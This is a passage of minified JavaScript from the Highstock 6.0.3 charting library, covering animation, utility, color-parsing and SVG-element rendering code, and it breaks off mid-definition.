(function(n,t){"object"==typeof module&&module.exports?module.exports=n.document?t(n):t:n.Highcharts=t(n)})("undefined"!=typeof window?window:this,function(n){var t=function(){var t="undefined"==typeof n?window:n,i=t.document,r=t.navigator&&t.navigator.userAgent||"",e=i&&i.createElementNS&&!!i.createElementNS("http://www.w3.org/2000/svg","svg").createSVGRect,o=/(edge|msie|trident)/i.test(r)&&!t.opera,u=/Firefox/.test(r),f=u&&4>parseInt(r.split("Firefox/")[1],10);return t.Highcharts?t.Highcharts.error(16,!0):{product:"Highstock",version:"6.0.3",deg2rad:Math.PI/180,doc:i,hasBidiBug:f,hasTouch:i&&void 0!==i.documentElement.ontouchstart,isMS:o,isWebKit:/AppleWebKit/.test(r),isFirefox:u,isTouchDevice:/(Mobile|Android|Windows Phone)/.test(r),SVG_NS:"http://www.w3.org/2000/svg",chartCount:0,seriesTypes:{},symbolSizes:{},svg:e,win:t,marginNames:["plotTop","marginRight","marginBottom","plotLeft"],noop:function(){},charts:[]}}(),i;return function(n){n.timers=[];var r=n.charts,i=n.doc,t=n.win;n.error=function(i,r){if(i=n.isNumber(i)?"Highcharts error #"+i+": www.highcharts.com/errors/"+i:i,r)throw Error(i);t.console&&console.log(i)},n.Fx=function(n,t,i){this.options=t,this.elem=n,this.prop=i},n.Fx.prototype={dSetter:function(){var f=this.paths[0],r=this.paths[1],i=[],u=this.now,n=f.length,t;if(1===u)i=this.toD;else if(n===r.length&&1>u)for(;n--;)t=parseFloat(f[n]),i[n]=isNaN(t)?r[n]:u*parseFloat(r[n]-t)+t;else i=r;this.elem.attr("d",i,null,!0)},update:function(){var n=this.elem,t=this.prop,i=this.now,r=this.options.step;this[t+"Setter"]?this[t+"Setter"]():n.attr?n.element&&n.attr(t,i,null,!0):n.style[t]=i+this.unit,r&&r.call(n,i,this)},run:function(i,r,u){var h=this,e=h.options,f=function(n){return f.stopped?!1:h.step(n)},s=t.requestAnimationFrame||function(n){setTimeout(n,13)},o=function(){n.timers=n.grep(n.timers,function(n){return n()}),n.timers.length&&s(o)};i===r?(delete e.curAnim[this.prop],e.complete&&0===n.keys(e.curAnim).length&&e.complete()):(this.startTime=+new Date,this.start=i,this.end=r,this.unit=u,this.now=this.start,this.pos=0,f.elem=this.elem,f.prop=this.prop,f()&&1===n.timers.push(f)&&s(o))},step:function(t){var o=+new Date,u,i=this.options,r=this.elem,s=i.complete,f=i.duration,e=i.curAnim;return r.attr&&!r.element?t=!1:t||o>=f+this.startTime?(this.now=this.end,this.pos=1,this.update(),u=e[this.prop]=!0,n.objectEach(e,function(n){!0!==n&&(u=!1)}),u&&s&&s.call(r),t=!1):(this.pos=i.easing((o-this.startTime)/f),this.now=this.start+(this.end-this.start)*this.pos,this.update(),t=!0),t},initPath:function(t,i,r){function y(n){var i,t;for(u=n.length;u--;)i="M"===n[u]||"L"===n[u],t=/[a-zA-Z]/.test(n[u+3]),i&&t&&n.splice(u+1,0,n[u+1],n[u+2],n[u+1],n[u+2])}function b(n,t){for(;n.length<o;){n[0]=t[o-n.length];var i=n.slice(0,f);[].splice.apply(n,[0,0].concat(i)),l&&(i=n.slice(n.length-f),[].splice.apply(n,[n.length,0].concat(i)),u--)}n[0]="M"}function w(n,t){for(var i=(o-n.length)/f;0<i&&i--;)e=n.slice().splice(n.length/h-f,f*h),e[0]=t[o-f-i*f],v&&(e[f-6]=e[f-2],e[f-5]=e[f-1]),[].splice.apply(n,[n.length/h,0].concat(e)),l&&i--}var l,h,p;i=i||"";var c,s=t.startX,a=t.endX,v=-1<i.indexOf("C"),f=v?7:3,o,e,u;if(i=i.split(" "),r=r.slice(),l=t.isArea,h=l?2:1,v&&(y(i),y(r)),s&&a){for(u=0;u<s.length;u++)if(s[u]===a[0]){c=u;break}else if(s[0]===a[a.length-s.length+u]){c=u,p=!0;break}void 0===c&&(i=[])}return i.length&&n.isNumber(c)&&(o=r.length+c*h*f,p?(b(i,r),w(r,i)):(b(r,i),w(i,r))),[i,r]}},n.Fx.prototype.fillSetter=n.Fx.prototype.strokeSetter=function(){this.elem.attr(this.prop,n.color(this.start).tweenTo(n.color(this.end),this.pos),null,!0)},n.extend=function(n,t){var i;n||(n={});for(i in t)n[i]=t[i];return n},n.merge=function(){var r,t=arguments,f,i={},u=function(t,i){return"object"!=typeof t&&(t={}),n.objectEach(i,function(r,f){t[f]=!n.isObject(r,!0)||n.isClass(r)||n.isDOMElement(r)?i[f]:u(t[f]||{},r)}),t};for(!0===t[0]&&(i=t[1],t=Array.prototype.slice.call(t,2)),f=t.length,r=0;r<f;r++)i=u(i,t[r]);return i},n.pInt=function(n,t){return parseInt(n,t||10)},n.isString=function(n){return"string"==typeof n},n.isArray=function(n){return n=Object.prototype.toString.call(n),"[object Array]"===n||"[object Array Iterator]"===n},n.isObject=function(t,i){return!!t&&"object"==typeof t&&(!i||!n.isArray(t))},n.isDOMElement=function(t){return n.isObject(t)&&"number"==typeof t.nodeType},n.isClass=function(t){var i=t&&t.constructor;return!(!n.isObject(t,!0)||n.isDOMElement(t)||!i||!i.name||"Object"===i.name)},n.isNumber=function(n){return"number"==typeof n&&!isNaN(n)},n.erase=function(n,t){for(var i=n.length;i--;)if(n[i]===t){n.splice(i,1);break}},n.defined=function(n){return void 0!==n&&null!==n},n.attr=function(t,i,r){var u;return n.isString(i)?n.defined(r)?t.setAttribute(i,r):t&&t.getAttribute&&(u=t.getAttribute(i)):n.defined(i)&&n.isObject(i)&&n.objectEach(i,function(n,i){t.setAttribute(i,n)}),u},n.splat=function(t){return n.isArray(t)?t:[t]},n.syncTimeout=function(n,t,i){if(t)return setTimeout(n,t,i);n.call(0,i)},n.pick=function(){for(var i=arguments,n,r=i.length,t=0;t<r;t++)if(n=i[t],void 0!==n&&null!==n)return n},n.css=function(t,i){n.isMS&&!n.svg&&i&&void 0!==i.opacity&&(i.filter="alpha(opacity="+100*i.opacity+")"),n.extend(t.style,i)},n.createElement=function(t,r,u,f,e){t=i.createElement(t);var o=n.css;return r&&n.extend(t,r),e&&o(t,{padding:0,border:"none",margin:0}),u&&o(t,u),f&&f.appendChild(t),t},n.extendClass=function(t,i){var r=function(){};return r.prototype=new t,n.extend(r.prototype,i),r},n.pad=function(n,t,i){return Array((t||2)+1-String(n).length).join(i||0)+n},n.relativeLength=function(n,t,i){return/%$/.test(n)?t*parseFloat(n)/100+(i||0):parseFloat(n)},n.wrap=function(n,t,i){var r=n[t];n[t]=function(){var n=Array.prototype.slice.call(arguments),u=arguments,t=this;return t.proceed=function(){r.apply(t,arguments.length?arguments:u)},n.unshift(r),n=i.apply(this,n),t.proceed=null,n}},n.getTZOffset=function(t){var i=n.Date;return 6e4*(i.hcGetTimezoneOffset&&i.hcGetTimezoneOffset(t)||i.hcTimezoneOffset||0)},n.dateFormat=function(t,i,r){if(!n.defined(i)||isNaN(i))return n.defaultOptions.lang.invalidDate||"";t=n.pick(t,"%Y-%m-%d %H:%M:%S");var f=n.Date,e=new f(i-n.getTZOffset(i)),o=e[f.hcGetHours](),h=e[f.hcGetDay](),v=e[f.hcGetDate](),c=e[f.hcGetMonth](),a=e[f.hcGetFullYear](),s=n.defaultOptions.lang,y=s.weekdays,l=s.shortWeekdays,u=n.pad,f=n.extend({a:l?l[h]:y[h].substr(0,3),A:y[h],d:u(v),e:u(v,2," "),w:h,b:s.shortMonths[c],B:s.months[c],m:u(c+1),y:a.toString().substr(2,2),Y:a,H:u(o),k:o,I:u(o%12||12),l:o%12||12,M:u(e[f.hcGetMinutes]()),p:12>o?"AM":"PM",P:12>o?"am":"pm",S:u(e.getSeconds()),L:u(Math.round(i%1e3),3)},n.dateFormats);return n.objectEach(f,function(n,r){for(;-1!==t.indexOf("%"+r);)t=t.replace("%"+r,"function"==typeof n?n(i):n)}),r?t.substr(0,1).toUpperCase()+t.substr(1):t},n.formatSingle=function(t,i){var r=/\.([0-9])/,u=n.defaultOptions.lang;return/f$/.test(t)?(r=(r=t.match(r))?r[1]:-1,null!==i&&(i=n.numberFormat(i,r,u.decimalPoint,-1<t.indexOf(",")?u.thousandsSep:""))):i=n.dateFormat(t,i),i},n.format=function(t,i){for(var f="{",s=!1,r,h,o,c,e=[],u;t;){if(f=t.indexOf(f),-1===f)break;if(r=t.slice(0,f),s){for(r=r.split(":"),h=r.shift().split("."),c=h.length,u=i,o=0;o<c;o++)u&&(u=u[h[o]]);r.length&&(u=n.formatSingle(r.join(":"),u)),e.push(u)}else e.push(r);t=t.slice(f+1),f=(s=!s)?"}":"{"}return e.push(t),e.join("")},n.getMagnitude=function(n){return Math.pow(10,Math.floor(Math.log(n)/Math.LN10))},n.normalizeTickInterval=function(t,i,r,u,f){var o,e=t;for(r=n.pick(r,1),o=t/r,i||(i=f?[1,1.2,1.5,2,2.5,3,4,5,6,8,10]:[1,2,2.5,5,10],!1===u&&(1===r?i=n.grep(i,function(n){return 0==n%1}):.1>=r&&(i=[1/r]))),u=0;u<i.length&&!(e=i[u],f&&e*r>=t||!f&&o<=(i[u]+(i[u+1]||i[u]))/2);u++);return e=n.correctFloat(e*r,-Math.round(Math.log(.001)/Math.LN10))},n.stableSort=function(n,t){for(var u=n.length,r,i=0;i<u;i++)n[i].safeI=i;for(n.sort(function(n,i){return r=t(n,i),0===r?n.safeI-i.safeI:r}),i=0;i<u;i++)delete n[i].safeI},n.arrayMin=function(n){for(var i=n.length,t=n[0];i--;)n[i]<t&&(t=n[i]);return t},n.arrayMax=function(n){for(var i=n.length,t=n[0];i--;)n[i]>t&&(t=n[i]);return t},n.destroyObjectProperties=function(t,i){n.objectEach(t,function(n,r){n&&n!==i&&n.destroy&&n.destroy(),delete t[r]})},n.discardElement=function(t){var i=n.garbageBin;i||(i=n.createElement("div")),t&&i.appendChild(t),i.innerHTML=""},n.correctFloat=function(n,t){return parseFloat(n.toPrecision(t||14))},n.setAnimation=function(t,i){i.renderer.globalAnimation=n.pick(t,i.options.chart.animation,!0)},n.animObject=function(t){return n.isObject(t)?n.merge(t):{duration:t?500:0}},n.timeUnits={millisecond:1,second:1e3,minute:6e4,hour:36e5,day:864e5,week:6048e5,month:24192e5,year:314496e5},n.numberFormat=function(t,i,r,u){t=+t||0,i=+i;var h=n.defaultOptions.lang,f=(t.toString().split(".")[1]||"").split("e")[0].length,e,s,o=t.toString().split("e");return-1===i?i=Math.min(f,20):n.isNumber(i)||(i=2),s=(Math.abs(o[1]?o[0]:t)+Math.pow(10,-Math.max(i,f)-1)).toFixed(i),f=String(n.pInt(s)),e=3<f.length?f.length%3:0,r=n.pick(r,h.decimalPoint),u=n.pick(u,h.thousandsSep),t=(0>t?"-":"")+(e?f.substr(0,e)+u:""),t+=f.substr(e).replace(/(\d{3})(?=\d)/g,"$1"+u),i&&(t+=r+s.slice(-i)),o[1]&&(t+="e"+o[1]),t},Math.easeInOutSine=function(n){return-.5*(Math.cos(Math.PI*n)-1)},n.getStyle=function(i,r,u){return"width"===r?Math.min(i.offsetWidth,i.scrollWidth)-n.getStyle(i,"padding-left")-n.getStyle(i,"padding-right"):"height"===r?Math.min(i.offsetHeight,i.scrollHeight)-n.getStyle(i,"padding-top")-n.getStyle(i,"padding-bottom"):(t.getComputedStyle||n.error(27,!0),(i=t.getComputedStyle(i,void 0))&&(i=i.getPropertyValue(r),n.pick(u,"opacity"!==r)&&(i=n.pInt(i))),i)},n.inArray=function(t,i){return(n.indexOfPolyfill||Array.prototype.indexOf).call(i,t)},n.grep=function(t,i){return(n.filterPolyfill||Array.prototype.filter).call(t,i)},n.find=Array.prototype.find?function(n,t){return n.find(t)}:function(n,t){for(var r=n.length,i=0;i<r;i++)if(t(n[i],i))return n[i]},n.map=function(n,t){for(var r=[],i=0,u=n.length;i<u;i++)r[i]=t.call(n[i],n[i],i,n);return r},n.keys=function(t){return(n.keysPolyfill||Object.keys).call(void 0,t)},n.reduce=function(t,i,r){return(n.reducePolyfill||Array.prototype.reduce).call(t,i,r)},n.offset=function(n){var r=i.documentElement;return n=n.parentElement?n.getBoundingClientRect():{top:0,left:0},{top:n.top+(t.pageYOffset||r.scrollTop)-(r.clientTop||0),left:n.left+(t.pageXOffset||r.scrollLeft)-(r.clientLeft||0)}},n.stop=function(t,i){for(var r=n.timers.length;r--;)n.timers[r].elem!==t||i&&i!==n.timers[r].prop||(n.timers[r].stopped=!0)},n.each=function(t,i,r){return(n.forEachPolyfill||Array.prototype.forEach).call(t,i,r)},n.objectEach=function(n,t,i){for(var r in n)n.hasOwnProperty(r)&&t.call(i,n[r],r,n)},n.addEvent=function(t,i,r){var u,f,e=t.addEventListener||n.addEventListenerPolyfill;return t.hcEvents&&!t.hasOwnProperty("hcEvents")&&(f={},n.objectEach(t.hcEvents,function(n,t){f[t]=n.slice(0)}),t.hcEvents=f),u=t.hcEvents=t.hcEvents||{},e&&e.call(t,i,r,!1),u[i]||(u[i]=[]),u[i].push(r),function(){n.removeEvent(t,i,r)}},n.removeEvent=function(t,i,r){function o(i,r){var u=t.removeEventListener||n.removeEventListenerPolyfill;u&&u.call(t,i,r,!1)}function s(){var r,f;t.nodeName&&(i?(r={},r[i]=!0):r=u,n.objectEach(r,function(n,t){if(u[t])for(f=u[t].length;f--;)o(t,u[t][f])}))}var f,u=t.hcEvents,e;u&&(i?(f=u[i]||[],r?(e=n.inArray(r,f),-1<e&&(f.splice(e,1),u[i]=f),o(i,r)):(s(),u[i]=[])):(s(),t.hcEvents={}))},n.fireEvent=function(t,r,u,f){var e,s,o;if(e=t.hcEvents,u=u||{},i.createEvent&&(t.dispatchEvent||t.fireEvent))e=i.createEvent("Events"),e.initEvent(r,!0,!0),n.extend(e,u),t.dispatchEvent?t.dispatchEvent(e):t.fireEvent(r,e);else if(e)for(e=e[r]||[],s=e.length,u.target||n.extend(u,{preventDefault:function(){u.defaultPrevented=!0},target:t,type:r}),r=0;r<s;r++)(o=e[r])&&!1===o.call(t,u)&&u.preventDefault();f&&!u.defaultPrevented&&f(u)},n.animate=function(t,i,r){var o,s="",u,f,e;n.isObject(r)||(e=arguments,r={duration:e[2],easing:e[3],complete:e[4]}),n.isNumber(r.duration)||(r.duration=400),r.easing="function"==typeof r.easing?r.easing:Math[r.easing]||Math.easeInOutSine,r.curAnim=n.merge(i),n.objectEach(i,function(e,h){n.stop(t,h),f=new n.Fx(t,r,h),u=null,"d"===h?(f.paths=f.initPath(t,t.d,i.d),f.toD=i.d,o=0,u=1):t.attr?o=t.attr(h):(o=parseFloat(n.getStyle(t,h))||0,"opacity"!==h&&(s="px")),u||(u=e),u&&u.match&&u.match("px")&&(u=u.replace(/px/g,"")),f.run(o,u,s)})},n.seriesType=function(t,i,r,u,f){var o=n.getOptions(),e=n.seriesTypes;return o.plotOptions[t]=n.merge(o.plotOptions[i],r),e[t]=n.extendClass(e[i]||function(){},u),e[t].prototype.type=t,f&&(e[t].prototype.pointClass=n.extendClass(n.Point,f)),e[t]},n.uniqueKey=function(){var t=Math.random().toString(36).substring(2,9),n=0;return function(){return"highcharts-"+t+"-"+n++}}(),t.jQuery&&(t.jQuery.fn.highcharts=function(){var t=[].slice.call(arguments);if(this[0])return t[0]?(new n[n.isString(t[0])?t.shift():"Chart"](this[0],t[0],t[1]),this):r[n.attr(this[0],"data-highcharts-chart")]})}(t),function(n){var r=n.each,i=n.isNumber,u=n.map,f=n.merge,t=n.pInt;n.Color=function(t){if(!(this instanceof n.Color))return new n.Color(t);this.init(t)},n.Color.prototype={parsers:[{regex:/rgba\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]?(?:\.[0-9]+)?)\s*\)/,parse:function(n){return[t(n[1]),t(n[2]),t(n[3]),parseFloat(n[4],10)]}},{regex:/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/,parse:function(n){return[t(n[1]),t(n[2]),t(n[3]),1]}}],names:{none:"rgba(255,255,255,0)",white:"#ffffff",black:"#000000"},init:function(t){var r,i,e,f;if((this.input=t=this.names[t&&t.toLowerCase?t.toLowerCase():""]||t)&&t.stops)this.stops=u(t.stops,function(t){return new n.Color(t[1])});else if(t&&t.charAt&&"#"===t.charAt()&&(r=t.length,t=parseInt(t.substr(1),16),7===r?i=[(t&16711680)>>16,(t&65280)>>8,t&255,1]:4===r&&(i=[(t&3840)>>4|(t&3840)>>8,(t&240)>>4|t&240,(t&15)<<4|t&15,1])),!i)for(e=this.parsers.length;e--&&!i;)f=this.parsers[e],(r=f.regex.exec(t))&&(i=f.parse(r));this.rgba=i||[]},get:function(n){var e=this.input,t=this.rgba,u;return this.stops?(u=f(e),u.stops=[].concat(u.stops),r(this.stops,function(t,i){u.stops[i]=[u.stops[i][0],t.get(n)]})):u=t&&i(t[0])?"rgb"===n||!n&&1===t[3]?"rgb("+t[0]+","+t[1]+","+t[2]+")":"a"===n?t[3]:"rgba("+t.join(",")+")":e,u},brighten:function(n){var u,f=this.rgba;if(this.stops)r(this.stops,function(t){t.brighten(n)});else if(i(n)&&0!==n)for(u=0;3>u;u++)f[u]+=t(255*n),0>f[u]&&(f[u]=0),255<f[u]&&(f[u]=255);return this},setOpacity:function(n){return this.rgba[3]=n,this},tweenTo:function(n,t){var r=this.rgba,i=n.rgba;return i.length&&r&&r.length?(n=1!==i[3]||1!==r[3],t=(n?"rgba(":"rgb(")+Math.round(i[0]+(r[0]-i[0])*(1-t))+","+Math.round(i[1]+(r[1]-i[1])*(1-t))+","+Math.round(i[2]+(r[2]-i[2])*(1-t))+(n?","+(i[3]+(r[3]-i[3])*(1-t)):"")+")"):t=n.input||"none",t}},n.color=function(t){return new n.Color(t)}}(t),function(n){var r,nt,g=n.addEvent,st=n.animate,u=n.attr,ht=n.charts,vt=n.color,c=n.css,it=n.createElement,t=n.defined,k=n.deg2rad,lt=n.destroyObjectProperties,e=n.doc,o=n.each,f=n.extend,d=n.erase,at=n.grep,ot=n.hasTouch,ut=n.inArray,rt=n.isArray,ft=n.isFirefox,w=n.isMS,a=n.isObject,ct=n.isString,pt=n.isWebKit,h=n.merge,yt=n.noop,s=n.objectEach,i=n.pick,v=n.pInt,et=n.removeEvent,tt=n.stop,y=n.svg,b=n.SVG_NS,l=n.symbolSizes,p=n.win;r=n.SVGElement=function(){return this},f(r.prototype,{opacity:1,SVG_NS:b,textProps:"direction fontSize fontWeight fontFamily fontStyle color lineHeight width textAlign textDecoration textOverflow textOutline".split(" "),init:function(n,t){this.element="span"===t?it(t):e.createElementNS(this.SVG_NS,t),this.renderer=n},animate:function(t,r,u){return r=n.animObject(i(r,this.renderer.globalAnimation,!0)),0!==r.duration?(u&&(r.complete=u),st(this,t,r)):(this.attr(t,null,u),r.step&&r.step.call(this)),this},colorGradient:function(i,r,u){var l=this.renderer,k,c,f,b,y,v,g,d,p,a,e=[],w;i.radialGradient?c="radialGradient":i.linearGradient&&(c="linearGradient"),c&&(f=i[c],y=l.gradients,g=i.stops,a=u.radialReference,rt(f)&&(i[c]=f={x1:f[0],y1:f[1],x2:f[2],y2:f[3],gradientUnits:"userSpaceOnUse"}),"radialGradient"===c&&a&&!t(f.gradientUnits)&&(b=f,f=h(f,l.getRadialAttr(a,b),{gradientUnits:"userSpaceOnUse"})),s(f,function(n,t){"id"!==t&&e.push(t,n)}),s(g,function(n){e.push(n)}),e=e.join(","),y[e]?a=y[e].attr("id"):(f.id=a=n.uniqueKey(),y[e]=v=l.createElement(c).attr(f).add(l.defs),v.radAttr=b,v.stops=[],o(g,function(t){0===t[1].indexOf("rgba")?(k=n.color(t[1]),d=k.get("rgb"),p=k.get("a")):(d=t[1],p=1),t=l.createElement("stop").attr({offset:t[0],"stop-color":d,"stop-opacity":p}).add(v),v.stops.push(t)})),w="url("+l.url+"#"+a+")",u.setAttribute(r,w),u.gradient=e,i.toString=function(){return w})},applyTextOutline:function(t){var i=this.element,e,s,r,h,f;if(-1!==t.indexOf("contrast")&&(t=t.replace(/contrast/g,this.renderer.getContrast(i.style.fill))),t=t.split(" "),s=t[t.length-1],(r=t[0])&&"none"!==r&&n.svg){for(this.fakeTS=!0,t=[].slice.call(i.getElementsByTagName("tspan")),this.ySetter=this.xSetter,r=r.replace(/(^[\d\.]+)(.*?)$/g,function(n,t,i){return 2*t+i}),f=t.length;f--;)e=t[f],"highcharts-text-outline"===e.getAttribute("class")&&d(t,i.removeChild(e));h=i.firstChild,o(t,function(n,t){0===t&&(n.setAttribute("x",i.getAttribute("x")),t=i.getAttribute("y"),n.setAttribute("y",t||0),null===t&&i.setAttribute("y",0)),n=n.cloneNode(1),u(n,{"class":"highcharts-text-outline",fill:s,stroke:s,"stroke-width":r,"stroke-linejoin":"round"}),i.insertBefore(n,h)})}},attr:function(n,t,i,r){var e,h=this.element,c,o=this,u,f;return"string"==typeof n&&void 0!==t&&(e=n,n={},n[e]=t),"string"==typeof n?o=(this[n+"Getter"]||this._defaultGetter).call(this,n,h):(s(n,function(t,i){u=!1,r||tt(this,i),this.symbolName&&/^(x|y|width|height|r|start|end|innerR|anchorX|anchorY)$/.test(i)&&(c||(this.symbolAttr(n),c=!0),u=!0),!this.rotation||"x"!==i&&"y"!==i||(this.doTransform=!0),u||(f=this[i+"Setter"]||this._defaultSetter,f.call(this,t,i,h),this.shadows&&/^(width|height|visibility|x|y|d|transform|cx|cy|r)$/.test(i)&&this.updateShadows(i,t,f))},this),this.afterSetters()),i&&i(),o},afterSetters:function(){this.doTransform&&(this.updateTransform(),this.doTransform=!1)},updateShadows:function(n,t,i){for(var u=this.shadows,r=u.length;r--;)i.call(u[r],"height"===n?Math.max(t-(u[r].cutHeight||0),0):"d"===n?this.d:t,n,u[r])},addClass:function(n,t){var i=this.attr("class")||"";return-1===i.indexOf(n)&&(t||(n=(i+(i?" ":"")+n).replace("  "," ")),this.attr("class",n)),this},hasClass:function(n){return-1!==ut(n,(this.attr("class")||"").split(" "))},removeClass:function(n){return this.attr("class",(this.attr("class")||"").replace(n,""))},symbolAttr:function(n){var t=this;o("x y r start end width height innerR anchorX anchorY".split(" "),function(r){t[r]=i(n[r],t[r])}),t.attr({d:t.renderer.symbols[t.symbolName](t.x,t.y,t.width,t.height,t)})},clip:function(n){return this.attr("clip-path",n?"url("+this.renderer.url+"#"+n.id+")":"none")},crisp:function(n,i){var r=this,f={},u;return i=i||n.strokeWidth||0,u=Math.round(i)%2/2,n.x=Math.floor(n.x||r.x||0)+u,n.y=Math.floor(n.y||r.y||0)+u,n.width=Math.floor((n.width||r.width||0)-2*u),n.height=Math.floor((n.height||r.height||0)-2*u),t(n.strokeWidth)&&(n.strokeWidth=i),s(n,function(n,t){r[t]!==n&&(r[t]=f[t]=n)}),f},css:function(n){var t=this.styles,o={},h=this.element,l,i="",e,r=!t,a=["textOutline","textOverflow","width"];return n&&n.color&&(n.fill=n.color),t&&s(n,function(n,i){n!==t[i]&&(o[i]=n,r=!0)}),r&&(t&&(n=f(t,o)),l=this.textWidth=n&&n.width&&"auto"!==n.width&&"text"===h.nodeName.toLowerCase()&&v(n.width),this.styles=n,l&&!y&&this.renderer.forExport&&delete n.width,w&&!y?c(this.element,n):(e=function(n,t){return"-"+t.toLowerCase()},s(n,function(n,t){-1===ut(t,a)&&(i+=t.replace(/([A-Z])/g,e)+":"+n+";")}),i&&u(h,"style",i)),this.added&&("text"===this.element.nodeName&&this.renderer.buildText(this),n&&n.textOutline&&this.applyTextOutline(n.textOutline))),this},strokeWidth:function(){return this["stroke-width"]||0},on:function(n,t){var r=this,i=r.element;return ot&&"click"===n?(i.ontouchstart=function(n){r.touchEventFired=Date.now(),n.preventDefault(),t.call(i,n)},i.onclick=function(n){(-1===p.navigator.userAgent.indexOf("Android")||1100<Date.now()-(r.touchEventFired||0))&&t.call(i,n)}):i["on"+n]=t,this},setRadialReference:function(n){var t=this.renderer.gradients[this.element.gradient];return this.element.radialReference=n,t&&t.radAttr&&t.animate(this.renderer.getRadialAttr(n,t.radAttr)),this},translate:function(n,t){return this.attr({translateX:n,translateY:t})},invert:function(n){return this.inverted=n,this.updateTransform(),this},updateTransform:function(){var n=this.translateX||0,s=this.translateY||0,o=this.scaleX,e=this.scaleY,h=this.inverted,u=this.rotation,f=this.matrix,r=this.element;h&&(n+=this.width,s+=this.height),n=["translate("+n+","+s+")"],t(f)&&n.push("matrix("+f.join(",")+")"),h?n.push("rotate(90) scale(-1,1)"):u&&n.push("rotate("+u+" "+i(this.rotationOriginX,r.getAttribute("x"),0)+" "+i(this.rotationOriginY,r.getAttribute("y")||0)+")"),(t(o)||t(e))&&n.push("scale("+i(o,1)+" "+i(e,1)+")"),n.length&&r.setAttribute("transform",n.join(" "))},toFront:function(){var n=this.element;return n.parentNode.appendChild(n),this},align:function(n,t,r){var e,u,f,c,s={},o,h;return u=this.renderer,f=u.alignedObjects,n?(this.alignOptions=n,this.alignByTranslate=t,!r||ct(r))&&(this.alignTo=e=r||"renderer",d(f,this),f.push(this),r=null):(n=this.alignOptions,t=this.alignByTranslate,e=this.alignTo),r=i(r,u[e],u),e=n.align,u=n.verticalAlign,f=(r.x||0)+(n.x||0),c=(r.y||0)+(n.y||0),"right"===e?o=1:"center"===e&&(o=2),o&&(f+=(r.width-(n.width||0))/o),s[t?"translateX":"x"]=Math.round(f),"bottom"===u?h=1:"middle"===u&&(h=2),h&&(c+=(r.height-(n.height||0))/h),s[t?"translateY":"y"]=Math.round(c),this[this.placed?"animate":"attr"](s),this.placed=!0,this.alignAttr=s,this},getBBox:function(n,r){var u,s=this.renderer,l,c=this.element,h=this.styles,p,w=this.textStr,v,a=s.cache,y=s.cacheKeys,e;if(r=i(r,this.rotation),l=r*k,p=h&&h.fontSize,t(w)&&(e=w.toString(),-1===e.indexOf("<")&&(e=e.replace(/[0-9]/g,"0")),e+=["",r||0,p,h&&h.width,h&&h.textOverflow].join()),e&&!n&&(u=a[e]),!u){if(c.namespaceURI===this.SVG_NS||s.forExport){try{(v=this.fakeTS&&function(n){o(c.querySelectorAll(".highcharts-text-outline"),function(t){t.style.display=n})})&&v("none"),u=c.getBBox?f({},c.getBBox()):{width:c.offsetWidth,height:c.offsetHeight},v&&v("")}catch(b){}(!u||0>u.width)&&(u={width:0,height:0})}else u=this.htmlGetBBox();if(s.isSVG&&(n=u.width,s=u.height,h&&"11px"===h.fontSize&&17===Math.round(s)&&(u.height=s=14),r&&(u.width=Math.abs(s*Math.sin(l))+Math.abs(n*Math.cos(l)),u.height=Math.abs(s*Math.cos(l))+Math.abs(n*Math.sin(l)))),e&&0<u.height){for(;250<y.length;)delete a[y.shift()];a[e]||y.push(e),a[e]=u}}return u},show:function(n){return this.attr({visibility:n?"inherit":"visible"})},hide:function(){return this.attr({visibility:"hidden"})},fadeOut:function(n){var t=this;t.animate({opacity:0},{duration:n||150,complete:function(){t.attr({y:-9999})}})},add:function(n){var i=this.renderer,r=this.element,t;return n&&(this.parentGroup=n),this.parentInverted=n&&n.inverted,void 0!==this.textStr&&i.buildText(this),this.added=!0,(!n||n.handleZ||this.zIndex)&&(t=this.zIndexSetter()),t||(n?n.element:i.box).appendChild(r),this.onAdd&&this.onAdd(),this},safeRemoveChild:function(n){var t=n.parentNode;t&&t.removeChild(n)},destroy:function(){var n=this,t=n.element||{},r=n.renderer.isSVG&&"SPAN"===t.nodeName&&n.parentGroup,i=t.ownerSVGElement;if(t.onclick=t.onmouseout=t.onmouseover=t.onmousemove=t.point=null,tt(n),n.clipPath&&i&&(o(i.querySelectorAll("[clip-path],[CLIP-PATH]"),function(t){t.getAttribute("clip-path").match(RegExp('[("]#'+n.clipPath.element.id+'[)"]'))&&t.removeAttribute("clip-path")}),n.clipPath=n.clipPath.destroy()),n.stops){for(i=0;i<n.stops.length;i++)n.stops[i]=n.stops[i].destroy();n.stops=null}for(n.safeRemoveChild(t),n.destroyShadows();r&&r.div&&0===r.div.childNodes.length;)t=r.parentGroup,n.safeRemoveChild(r.div),delete r.div,r=t;return n.alignTo&&d(n.renderer.alignedObjects,n),s(n,function(t,i){delete n[i]}),null},shadow:function(n,t,r){var a=[],e,f,h=this.element,o,s,l,c;if(n){if(!this.shadows){for(s=i(n.width,3),l=(n.opacity||.15)/s,c=this.parentInverted?"(-1,-1)":"("+i(n.offsetX,1)+", "+i(n.offsetY,1)+")",e=1;e<=s;e++)f=h.cloneNode(0),o=2*s+1-2*e,u(f,{isShadow:"true",stroke:n.color||"#000000","stroke-opacity":l*e,"stroke-width":o,transform:"translate"+c,fill:"none"}),r&&(u(f,"height",Math.max(u(f,"height")-o,0)),f.cutHeight=o),t?t.element.appendChild(f):h.parentNode&&h.parentNode.insertBefore(f,h),a.push(f);this.shadows=a}}else this.destroyShadows();return this},destroyShadows:function(){o(this.shadows||[],function(n){this.safeRemoveChild(n)},this),this.shadows=void 0},xGetter:function(n){return"circle"===this.element.nodeName&&("x"===n?n="cx":"y"===n&&(n="cy")),this._defaultGetter(n)},_defaultGetter:function(n){return n=i(this[n],this.element?this.element.getAttribute(n):null,0),/^[\-0-9\.]+$/.test(n)&&(n=parseFloat(n)),n},dSetter:function(n,t,i){n&&n.join&&(n=n.join(" ")),/(NaN| {2}|^$)/.test(n)&&(n="M 0 0"),this[t]!==n&&(i.setAttribute(t,n),this[t]=n)},dashstyleSetter:function(n){var 